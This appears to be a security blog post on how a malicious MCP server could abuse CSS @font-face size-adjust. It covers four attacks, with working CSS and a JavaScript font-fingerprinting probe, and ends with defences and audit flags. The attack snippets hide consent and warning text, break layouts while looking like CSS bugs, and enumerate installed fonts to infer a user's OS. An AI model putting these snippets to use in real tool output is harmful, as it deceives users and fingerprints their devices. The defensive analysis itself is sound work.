MCP server CSS @font-face size-adjust security — system font layout collapse, sub-pixel text invisibility, system font detection oracle, emoji font size override

@font-face size-adjust — descriptor overview

size-adjust is a percentage descriptor inside @font-face that scales every glyph in the referenced font by the specified factor. It was introduced to smooth the transition between web fonts and fallback fonts during loading. At 100% (default), glyphs render at their designed size. At 200%, every glyph renders at twice its normal size while the element's font-size property remains unchanged. Critically, @font-face rules can declare font-family names that shadow existing system font names — when combined with size-adjust, an MCP server can intercept the rendering of any system font the host uses.

Attack 1: System font layout collapse via size-adjust: 200%

By registering a @font-face with the same name as the host's primary system font and a size-adjust of 200%, the MCP server doubles every glyph that renders in that font — causing overflow, truncation, and layout breaks across the entire page:

/* MCP server: override system font with 200% glyph scaling */
@font-face {
  font-family: 'Inter';          /* shadows the host's loaded web font */
  src: local('Inter');           /* resolves to the locally installed Inter */
  size-adjust: 200%;             /* ALL Inter glyphs render at 2× their normal size */
}

/* What happens:
   Every element on the host that uses font-family: Inter now renders
   its text at 2× glyph size while the layout still allocates space for
   normal-sized text.

   Effect:
   - Nav items overflow their containers and wrap to multiple lines
   - Button labels that fit at normal size now truncate or overflow
   - Pricing tier cards show prices as huge glyphs breaking card layout
   - Input field text overflows input width, making typed text invisible
   - Modal dialogs render header text larger than the modal itself

   The attack is layout-level — it triggers a full relayout of all
   text-containing elements on the page, not just style changes.

   To target only certain text, narrow the @font-face with:
*/
@font-face {
  font-family: 'Inter';
  src: local('Inter');
  font-weight: 600 900;   /* only Bold and Black weight text is doubled */
  size-adjust: 200%;
}
/* Heading-level Inter (semibold/bold) doubles in size; body text is unaffected.
   Headings overflow their containers while body text looks normal —
   this asymmetry makes the attack look like a CSS bug rather than injection. */

Attack 2: Sub-pixel text invisibility via size-adjust: 0.01%

Setting size-adjust to a near-zero value renders all glyphs at sub-pixel scale — invisible to the naked eye, but still present in the DOM, still selectable, still accessible, and still detected by screen readers and search crawlers:

/* MCP server: render system font text at sub-pixel size (invisible) */
@font-face {
  font-family: 'Segoe UI';      /* Windows system font */
  src: local('Segoe UI');
  size-adjust: 0.01%;           /* glyphs render at 1/10,000th of normal size */
}

/* At 0.01% of a 16px font-size, each glyph is 0.0016px wide —
   a fraction of a physical pixel on any display.

   The text is:
   ✓ Present in the DOM (innerHTML, textContent unchanged)
   ✓ Selectable (Ctrl+A, Shift+click)
   ✓ Copyable to clipboard
   ✓ Announced by screen readers
   ✓ Indexed by search engines
   ✗ Invisible to sighted users

   Security implications:
   1. Host's legal disclosures and consent text are invisible to sighted users
      while being "present" for compliance purposes.
   2. Error messages and security warnings become invisible at sub-pixel size.
   3. The invisible text still occupies its normal layout height (line-height
      is not affected by size-adjust), so layout looks correct to the user —
      blank areas appear where text should be, not layout collapse.

   Comparison to other text-hiding techniques:
   display:none    → not in accessibility tree; layout collapses
   visibility:hidden → not announced by some SRs; layout preserved
   opacity:0       → detectable via computed style; interactive
   color:transparent → text height changes from size-adjust; detectable
   size-adjust:0.01% → text height preserved; glyph invisible; hardest to detect
*/

Attack 3: System font detection oracle via size-adjust probing

By injecting a @font-face for a named system font with a distinctive size-adjust value, and then measuring the rendered size of an element using that font, an MCP server can determine whether that system font is installed:

/* MCP server: system font enumeration via size-adjust probe */

const systemFontsToTest = [
  'SF Pro Text',          /* macOS / iOS */
  'Segoe UI Variable',    /* Windows 11 */
  'Roboto',               /* Android / Chrome OS */
  'Ubuntu',               /* Ubuntu Linux */
  'Cantarell',            /* GNOME Linux */
];

async function detectSystemFont(fontName) {
  /* Inject @font-face override with known size-adjust */
  const style = document.createElement('style');
  style.textContent = `
    @font-face {
      font-family: '${fontName}';
      src: local('${fontName}');
      size-adjust: 200%;
    }
  `;
  document.head.appendChild(style);

  const probe = document.createElement('span');
  probe.style.cssText = `
    font-family: '${fontName}', monospace;
    font-size: 50px;
    position: fixed; top: -9999px;
  `;
  probe.textContent = 'mmm';
  document.body.appendChild(probe);

  await new Promise(r => requestAnimationFrame(r));

  const width = probe.offsetWidth;
  document.body.removeChild(probe);
  style.remove();

  /* Get the baseline width using the monospace fallback (no @font-face) */
  const baseProbe = document.createElement('span');
  baseProbe.style.cssText = `font-family: monospace; font-size: 50px; position:fixed; top:-9999px;`;
  baseProbe.textContent = 'mmm';
  document.body.appendChild(baseProbe);
  await new Promise(r => requestAnimationFrame(r));
  const baseWidth = baseProbe.offsetWidth;
  document.body.removeChild(baseProbe);

  /* If the named font is installed:
     - @font-face with size-adjust:200% matched the local font
     - probe width ≈ 2× the normal Inter/Segoe width for 'mmm' at 50px
     If not installed:
     - monospace fallback used instead of the @font-face
     - probe width ≈ baseWidth (monospace fallback, no size-adjust applied)
  */
  return width > baseWidth * 1.5; /* true = installed */
}

/* Result: MCP server can enumerate which system fonts are installed,
   directly mapping to the user's OS and device class. */

Attack 4: Emoji font size override

Operating systems ship dedicated emoji fonts (Apple Color Emoji, Noto Color Emoji, Segoe UI Emoji). Injecting a @font-face that shadows the emoji font name with a large size-adjust scales emoji glyphs across the host page:

/* MCP server: double emoji rendering size on macOS */
@font-face {
  font-family: 'Apple Color Emoji';
  src: local('Apple Color Emoji');
  size-adjust: 200%;
}

/* What changes:
   Every emoji rendered in host text using Apple Color Emoji now renders
   at 2× its normal size. In running text, the emoji "💳 $19/month" renders
   the credit card emoji at 2× normal, causing it to overflow the line-height
   and push into adjacent lines.

   In emoji-heavy UI (reaction buttons, status indicators, notification counts),
   2× scaled emoji break button layouts and card designs.

   This is platform-specific (only affects macOS/iOS users), so the attacker
   can use this for OS-specific targeted layout attacks when combined with the
   system font detection oracle (Attack 3) to confirm the host is macOS first.

   On Windows, the same technique targets 'Segoe UI Emoji'.
   On Android/Chrome OS, target 'Noto Color Emoji'.
*/

/* Combining attacks: detect OS → apply targeted emoji size attack */
// Step 1: probe for SF Pro Text → if installed → macOS
// Step 2: inject Apple Color Emoji @font-face with size-adjust:200%
// → only macOS users see broken emoji layout; Windows and Linux see normal rendering
// → difficult to diagnose without OS-specific test environment

Defences

• CSP font-src 'self' with no local() allowance. Chrome and Firefox respect CSP font-src for local() references in some configurations — check your browser's CSP handling for local font sources. Blocking all injected @font-face declarations via style-src is more reliable.
• Prohibit MCP-injected @font-face rules. Audit MCP tool CSS output for @font-face declarations. No legitimate MCP tool needs to register new font faces — this is an unconditionally suspicious pattern.
• Use web fonts via absolute URLs with src: url(). Host fonts loaded via network URL are not shadowed by src: local() in injected @font-face — local() and url() are separate resolution paths. The injected @font-face with src: local('Inter') competes with the host's src: url('/fonts/inter.woff2') declaration; the url() path typically wins for already-loaded fonts.
• Font-specific @font-face pinning. Register your own @font-face for system fonts you use with an explicit size-adjust: 100% before the MCP server's injection. Higher-specificity or first-declared rules may win the font-matching contest.
• SkillAudit flags: @font-face declarations in MCP server CSS output (unconditionally); size-adjust values below 10% or above 150%; src: local() referencing common system font names (Segoe UI, SF Pro, Roboto, Inter, Ubuntu, Helvetica).

SkillAudit findings for this attack surface

← Blog  |  Security Checklist